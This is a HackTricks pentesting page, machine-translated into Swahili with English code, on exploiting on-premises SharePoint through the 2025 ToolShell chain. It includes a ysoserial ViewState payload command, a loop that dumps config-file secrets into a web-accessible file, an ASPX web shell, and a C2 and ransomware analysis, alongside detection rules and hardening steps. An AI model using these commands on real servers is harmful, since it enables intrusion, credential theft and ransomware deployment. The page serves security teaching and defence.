Microsoft SharePoint – Pentesting & Exploitation

Reading time: 7 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Microsoft SharePoint (on-premises) imejengwa juu ya ASP.NET/IIS. Hivyo, sehemu nyingi za shambulio la wavuti za jadi (ViewState, Web.Config, web shells, nk.) zipo, lakini SharePoint pia inakuja na mamia ya kurasa za ASPX za miliki na huduma za wavuti ambazo zinaongeza kwa kiasi kikubwa uso wa shambulio ulio wazi. Ukurasa huu unakusanya mbinu za vitendo za kuhesabu, kutumia na kudumisha ndani ya mazingira ya SharePoint huku ukisisitiza mnyororo wa shambulio wa 2025 uliofunuliwa na Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. β€œToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> inaruhusu Server-Side Include code kuingizwa kwenye ukurasa ambao baadaye unakusanywa na ASP.NET. Mshambuliaji anaweza kuingiza C# inayotekeleza Process.Start() na kuacha ViewState mbaya.

2.2 CVE-2025-49706 – Improper Authentication Bypass

Ukurasa huo huo unategemea kichwa cha X-Forms_BaseUrl ili kubaini muktadha wa tovuti. Kwa kuelekeza kwenye /_layouts/15/, MFA/SSO inayotekelezwa kwenye tovuti ya mzizi inaweza kupuuziliwa mbali bila uthibitisho.

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization β†’ RCE

Mara mshambuliaji anapodhibiti kifaa katika ToolPane.aspx wanaweza kutuma thamani ya unsigned (au MAC-tu) __VIEWSTATE inayosababisha deserialization ya .NET ndani ya w3wp.exe inayopelekea utekelezaji wa code.

Ikiwa kusainiwa kumewashwa, ny steal ValidationKey/DecryptionKey kutoka kwa web.config yoyote (ona 2.4) na uunda payload kwa ysoserial.net au ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Kwa maelezo ya kina juu ya kutumia ASP.NET ViewState soma:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

Kutuma parameter ya Source iliyoundwa kwa ToolPane.aspx (mfano ../../../../web.config) inarudisha faili iliyokusudiwa, ikiruhusu kuvuja kwa:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ fanya ViewState / ASPXAUTH cookies
  • nyuzi za muunganisho & siri.

3. Mapishi ya baada ya unyakuzi yaliyoshuhudiwa katika pori

3.1 Exfiltrate kila .config faili (tofauti-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

debug_dev.js inayoweza kupakuliwa kwa siri na ina yote mipangilio nyeti.

3.2 Weka shell ya wavuti ya ASPX iliyoandikwa kwa Base64 (toleo-2)

powershell.exe -EncodedCommand <base64>

Mfano wa payload iliyotafsiriwa (imepunguzika):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Imeandikwa kwa:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell exposes endpoints to kusoma / kubadilisha funguo za mashine ambayo inaruhusu kutengeneza ViewState na cookies za ASPXAUTH katika shamba.

3.3 Tofauti iliyofichwa (variation-3)

Shell ile ile lakini:

  • imetolewa chini ya ...\15\TEMPLATE\LAYOUTS\
  • majina ya mabadiliko yamepunguzwa kuwa herufi moja
  • Thread.Sleep(<ms>) imeongezwa kwa ajili ya kuepuka sandbox & kupita AV kwa msingi wa muda.

3.4 AK47C2 backdoor ya protokali nyingi & X2ANYLOCK ransomware (iliyoshuhudiwa 2025-2026)

Uchunguzi wa hivi karibuni wa majibu ya tukio (Unit42 β€œMradi AK47”) unaonyesha jinsi washambuliaji wanavyotumia mnyororo wa ToolShell baada ya RCE ya awali kupeleka implant ya C2 ya njia mbili na ransomware katika mazingira ya SharePoint:

AK47C2 – dnsclient variant

  • Seva ya DNS iliyowekwa kwa nguvu: 10.7.66.10 inawasiliana na kikoa cha mamlaka update.updatemicfosoft.com.
  • Ujumbe ni vitu vya JSON vilivyo XOR-kifichwa kwa kutumia ufunguo wa kudumu VHBD@H, umeandikwa kwa hex na umejumuishwa kama lebo za sub-domain.
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Maswali marefu yanakatwa na kuongezwa na s, kisha yanakusanywa tena upande wa seva.
  • Seva inajibu katika rekodi za TXT zinabeba mpango sawa wa XOR/hex:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Toleo 202504 lilianzisha muundo rahisi <COMMAND>::<SESSION_KEY> na alama za kipande 1, 2, a.

AK47C2 – httpclient variant

  • Inatumia tena mchakato sawa wa JSON & XOR lakini inatuma blob ya hex katika mwili wa HTTP POST kupitia libcurl (CURLOPT_POSTFIELDS, nk.).
  • Mchakato sawa wa kazi/matokeo unawezesha:
  • Utekelezaji wa amri za shell zisizo na mipaka.
  • Kipindi cha kulala kinachobadilika na maagizo ya kill-switch.

X2ANYLOCK ransomware

  • Payload ya C++ ya 64-bit inaloadiwa kupitia DLL side-loading (ona hapa chini).
  • Inatumia AES-CBC kwa data ya faili + RSA-2048 kufunga funguo za AES, kisha inaongeza kiambishi cha faili .x2anylock.
  • Inashughulikia diski za ndani na sehemu za SMB zilizogunduliwa; inakataa njia za mfumo.
  • Inatua noti ya maandiko wazi Jinsi ya kufungua data zangu.txt ikijumuisha Tox ID ya kudumu kwa mazungumzo.
  • Ina kill-switch ya ndani:
c
if (file_mod_time >= "2026-06-06") exit(0);

Mnyororo wa DLL side-loading

  1. Mshambuliaji anaandika dllhijacked.dll/My7zdllhijacked.dll karibu na 7z.exe halali.
  2. w3wp.exe iliyoanzishwa na SharePoint inazindua 7z.exe, ambayo inaload DLL mbaya kwa sababu ya mpangilio wa utafutaji wa Windows, ikitumia kiingilio cha ransomware katika kumbukumbu.
  3. Loader tofauti wa LockBit aliyeshuhudiwa (bbb.msi ➜ clink_x86.exe ➜ clink_dll_x86.dll) inafichua shell-code na inafanya DLL hollowing ndani ya d3dl1.dll ili kuendesha LockBit 3.0.

info

Tox ID ile ile iliyopatikana katika X2ANYLOCK inaonekana katika databesi za LockBit zilizovuja, ikionyesha overlap ya washirika.


4. Mawazo ya kugundua

TelemetryKwa nini ni ya kushuku
w3wp.exe β†’ cmd.exeMchakato wa mfanyakazi unapaswa nadra kuzalisha shell
cmd.exe β†’ powershell.exe -EncodedCommandMchoro wa lolbin wa kawaida
Matukio ya faili yanayounda debug_dev.js au spinstall0.aspxIOCs moja kwa moja kutoka ToolShell
ProcessCmdLine INAJUMUISHI ToolPane.aspx (ETW/Module logs)PoCs za umma zinaita ukurasa huu

Mfano wa sheria ya XDR / Sysmon (pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Kuimarisha & Kupunguza

  1. Patch – Sasisho za usalama za Julai 2025 zinarekebisha zote CVEs nne.
  2. Rotate kila <machineKey> na siri za ViewState baada ya kuathiriwa.
  3. Ondoa ruhusa ya kuandika LAYOUTS kutoka kwa vikundi vya WSS_WPG & WSS_ADMIN_WPG.
  4. Zuia ufikiaji wa nje kwa /_layouts/15/ToolPane.aspx katika kiwango cha proxy/WAF.
  5. Wezesha ViewStateUserKey, MAC enabled, na EventValidation maalum.

Njia zinazohusiana

  • IIS post-exploitation & matumizi mabaya ya web.config:

IIS - Internet Information Services

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks